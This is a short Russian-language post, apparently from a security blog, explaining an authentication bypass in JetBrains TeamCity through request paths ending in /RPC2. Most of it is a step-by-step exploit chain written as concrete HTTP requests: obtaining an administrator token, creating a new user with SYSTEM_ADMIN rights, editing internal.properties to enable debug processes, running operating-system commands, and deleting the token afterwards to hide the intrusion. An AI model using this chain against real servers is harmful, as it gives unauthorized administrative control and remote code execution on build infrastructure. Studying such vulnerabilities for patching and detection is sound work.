Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с
RPC2В целом стоит начать, что
TeamCity используется для автоматизированной сборки и тестирования ПО. А он написан на JavaРебята нашли интересный дифф в методе
XmlRpcController.getPathSuffix. Точнее был прикол, связанный с wildcard path. Плюс TeamCity использует фреймворк Spring, а там существует интерцептор, который позволяет модифицировать входящие HTTP-запросы (thx to riven). По этим и другим причинам, любой входящий HTTP-запрос, имеющий путь /**/RPC2, не будет подвергаться проверке аутентификации. А значит мы можем использовать API-ручки для получения токенов почти любых пользователей и для дальнейшего создания собственного юзера. /app/rest/users/<userLocator>/tokens/<tokenName>Отсюда мы имеем следующий сценарий
Получаем токен администратора
POST /app/rest/users/id:1/tokens/RPC2С его помощью, мы теперь можем создать пользователя с админскими правами
POST localhost:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"monkey1\", \"password\": \"monkey\", \"email\": \"monkey\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eWaBWGhGSFBZVHB4WvAxNEptVmhQUkkxN0VF.MjhmYTY2MjUtNjZhNy00OTQ0LTk4LmItYzI1N2Q3MjIwMzE2"Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)
POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=trueНе забываем все это применить к текущему конфигу
POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.propertiesИ теперь мы имеем возможность исполнять команды
POST /app/rest/debug/processes?exePath=idНе забываем удалять токен
DELETE /app/rest/users/id:1/tokens/RPC2
